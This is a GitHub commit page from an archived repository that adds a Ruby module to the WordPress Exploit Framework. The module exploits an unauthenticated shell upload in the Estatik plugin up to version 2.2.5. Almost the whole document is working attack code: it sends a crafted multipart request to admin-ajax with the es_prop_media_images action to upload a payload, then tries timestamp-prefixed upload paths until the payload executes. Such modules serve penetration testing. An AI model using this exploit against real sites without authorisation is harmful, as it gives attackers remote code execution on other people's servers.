Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 14557a8

Browse files
committed
Add Estatik <= 2.2.5 shell upload
1 parent 2eb6458 commit 14557a8

File tree

1 file changed

+49
-0
lines changed

1 file changed

+49
-0
lines changed
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
class Wpxf::Exploit::EstatikV225ShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Estatik <= 2.2.5 Unauthenticated Shell Upload',
9+
author: [
10+
'White Fir Design', # Discovery and disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8593'],
15+
['URL', 'https://estatik.net/estatik-released-security-updates/']
16+
],
17+
date: 'Aug 14 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_changelog('estatik', 'readme.txt', '2.3.0')
23+
end
24+
25+
def uploader_url
26+
wordpress_url_admin_ajax
27+
end
28+
29+
def payload_body_builder
30+
@start_timestamp = Time.now.to_i
31+
builder = Utility::BodyBuilder.new
32+
builder.add_field('action', 'es_prop_media_images')
33+
builder.add_file_from_string('es_media_images[]', payload.encoded, payload_name)
34+
builder
35+
end
36+
37+
def expected_upload_response_code
38+
500
39+
end
40+
41+
def execute_payload(_payload_url)
42+
@end_timestamp = Time.now.to_i
43+
base_upload_uri = normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'))
44+
45+
(@start_timestamp..@end_timestamp).each do |timestamp|
46+
super(normalize_uri(base_upload_uri, "#{timestamp}_#{payload_name}"))
47+
end
48+
end
49+
end

0 commit comments

Comments
 (0)